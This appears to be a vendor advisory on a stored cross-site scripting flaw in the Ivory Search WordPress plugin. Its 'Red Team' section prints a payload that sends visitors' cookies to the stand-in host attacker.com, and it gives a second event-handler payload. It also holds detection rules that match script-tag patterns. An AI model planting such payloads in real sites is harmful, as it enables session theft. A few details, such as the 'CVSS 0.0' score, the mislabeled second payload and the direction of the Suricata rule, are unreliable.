CVE-2025-5209

Executive Summary

CVE-2025-5209 is a Stored Cross-Site Scripting (XSS) vulnerability discovered in the Ivory Search WordPress plugin, affecting versions prior to 5.5.10. The vulnerability allows authenticated users with high privileges (such as administrators) to inject arbitrary web scripts or HTML into plugin settings. This occurs because the plugin fails to properly sanitize and escape certain settings before saving them. Even when the unfiltered_html capability is disallowed (a standard security measure in multisite or restricted environments), an admin can still inject malicious scripts. Successful exploitation could lead to session hijacking, defacement, or redirection of users to malicious sites. As a WordPress plugin vulnerability, the attack surface is limited to the WordPress admin panel, but the impact can extend to any user visiting the affected page.

Supply Chain & Package Security

This vulnerability is specific to the Ivory Search WordPress plugin, which is distributed through the official WordPress plugin repository. The supply chain risk is moderate: if an admin account is compromised, the attacker can use this vulnerability to further compromise the site. The patch (version 5.5.10) addresses the missing sanitization and escaping. Administrators should verify the integrity of the plugin update by checking the checksum provided by WordPress.org.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (NVD base score not assigned; estimated 4.8 Medium)
• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): High (H) – requires admin-level access
• User Interaction (UI): Required (R) – victim must visit the settings page
• Scope (S): Changed (C) – the injected script can affect other parts of the application
• Confidentiality (C): Low (L) – possible data exfiltration
• Integrity (I): Low (L) – possible content modification
• Availability (A): None (N)

Threat Level: Medium. Exploitation requires admin credentials, but the impact can be severe if the injected script targets other users or steals session tokens.

Deep Dive & Mechanics

The vulnerability resides in the settings page of the Ivory Search plugin. The plugin registers settings via the WordPress Settings API and outputs them without proper escaping. Specifically, the ivory_search_settings option is saved and later rendered in the admin panel. The plugin uses esc_attr() or esc_html() inconsistently, leaving some fields vulnerable.

Root Cause: The plugin does not call sanitize_text_field() or wp_kses() on certain input fields before saving them to the database. When these values are later displayed (e.g., in a text input field or as a label), they are not escaped with esc_attr() or esc_html(), allowing an attacker to break out of the HTML attribute context and inject a script tag.

Attack Flow:

1. Attacker logs in as an administrator.
2. Navigates to the Ivory Search settings page (e.g., /wp-admin/admin.php?page=ivory-search-settings).
3. Injects a payload like "><script>alert('XSS')</script> into a vulnerable field (e.g., "Search Placeholder").
4. The payload is stored in the wp_options table.
5. When any user (including other admins) visits the settings page, the payload executes in their browser.

Vulnerable vs. Patched Code

Vulnerable Code (before 5.5.10):

// In a settings field callback
echo '<input type="text" name="ivory_search_settings[placeholder]" value="' . $options['placeholder'] . '" />';

The $options['placeholder'] is not escaped, allowing injection.

Patched Code (5.5.10):

echo '<input type="text" name="ivory_search_settings[placeholder]" value="' . esc_attr( $options['placeholder'] ) . '" />';

The esc_attr() function escapes the value, preventing XSS.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• WordPress installation with Ivory Search plugin < 5.5.10.
• Admin credentials (e.g., admin:password).

Steps:

1. Log in to /wp-admin.
2. Navigate to Ivory Search > Settings.
3. In the "Search Placeholder" field, enter:

   "><script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Click Save Changes.
5. The payload is stored. Any admin visiting the settings page will have their cookies exfiltrated.

Alternative Payload (for session hijacking):

" onfocus="alert(1)" autofocus="

Blue Team (Defensive)

Detection:

• Monitor for unusual changes to the ivory_search_settings option in the database.
• Look for HTTP requests to /wp-admin/admin.php?page=ivory-search-settings with suspicious POST data containing <script> or onerror patterns.

Prevention:

• Ensure the plugin is updated to version 5.5.10 or later.
• Implement a Web Application Firewall (WAF) rule to block XSS payloads in admin POST requests.
• Restrict admin access to trusted IPs only.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/ivory-search/includes/admin/class-ivory-search-admin.php (modified or containing suspicious input handling)
• Database: wp_options table where option_name = 'ivory_search_settings' contains HTML/script tags.
• Network: Outbound HTTP requests to attacker-controlled domains from the WordPress admin panel.
• Logs: WordPress debug log entries showing wp_ajax_ivory_search_save_settings with unexpected parameters.

Detection Engineering

YARA Rule

rule CVE_2025_5209_Ivory_Search_XSS {
    meta:
        description = "Detects vulnerable Ivory Search plugin files with missing escaping"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-5209"
    strings:
        $vuln_pattern = /value="\s*\$options\[/
        $safe_pattern = /esc_attr\(/
    condition:
        $vuln_pattern and not $safe_pattern
}

Sigma Rule

title: CVE-2025-5209 Ivory Search Stored XSS
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential XSS payload in Ivory Search settings POST request
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-query|contains: admin.php?page=ivory-search-settings
        cs-body|contains:
            - '<script'
            - 'onerror='
            - 'onload='
    condition: selection
falsepositives:
    - Legitimate admin using HTML in settings (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-5209 Ivory Search Stored XSS Payload";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"admin.php?page=ivory-search-settings";
    http_uri;
    content:"<script";
    http_client_body;
    sid:1000001;
    rev:1;
    reference:cve,2025-5209;
)

Remediation & Mitigation

Immediate:

1. Update the Ivory Search plugin to version 5.5.10 or later via the WordPress admin dashboard.
2. If unable to update immediately, disable the plugin temporarily.

Long-term:

• Implement a Content Security Policy (CSP) header to mitigate XSS impact.
• Regularly audit WordPress plugins for known vulnerabilities.
• Enforce the principle of least privilege: limit admin accounts to only necessary users.

Verification:

• After updating, check that the ivory_search_settings option no longer contains unescaped HTML.
• Use a vulnerability scanner (e.g., WPScan) to confirm the fix.

Valters IT
DevSecOps & Cyber Threat Intelligence